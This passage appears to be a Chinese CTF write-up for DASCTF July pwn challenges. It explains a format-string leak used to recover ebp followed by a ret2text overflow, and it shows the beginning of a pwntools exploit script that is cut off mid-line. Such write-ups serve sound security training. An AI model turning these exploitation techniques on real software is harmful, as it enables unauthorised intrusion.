DASCTF 7月部分pwn

最新推荐文章于 2024-08-25 12:49:51 发布

starssgo

最新推荐文章于 2024-08-25 12:49:51 发布

阅读量1.5k

点赞数 2

文章标签：安全

本文链接：https://blog.csdn.net/qq_43116977/article/details/107580414

版权

本文详细介绍了DASCTF中涉及的pwn题目，包括pwn1的格式化字符串漏洞利用，eg32的爆破策略，以及bigbear的libc2.30下UAF问题。尽管存在沙盒保护，作者通过泄露libc地址和栈地址，尝试使用ORW进行攻击。总结中提到，时间紧迫导致未能完成全部题目，期待pwn2的解决方案。

摘要由CSDN通过智能技术生成

做了pwn1跟pwn3，pwn2没做出来(俺是废物)…

这里写目录

- - pwn1
  - eg32
  - bigbear
  - 总结

pwn1

签到题，但是我们要记住

.text:080485F8                 mov     eax, 0
.text:080485FD                 mov     ecx, [ebp+var_4]
.text:08048600                 leave
.text:08048601                 lea     esp, [ecx-4]
.text:08048604                 retn

32位的main的最后有一个将ebp转为esp的代码，如果你栈溢出破坏了ebp，会导致[ecx-4]报错，
因此这个题的做法也很简单，利用格式化字符串漏洞泄露ebp，然后通过gets来进行ret2text

# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('qiandao')
p = 0
def pwn(ip,port,debug):
	global p
	if(debug == 1):
		p = process('./qiandao')

	else:
		p = remote(ip,port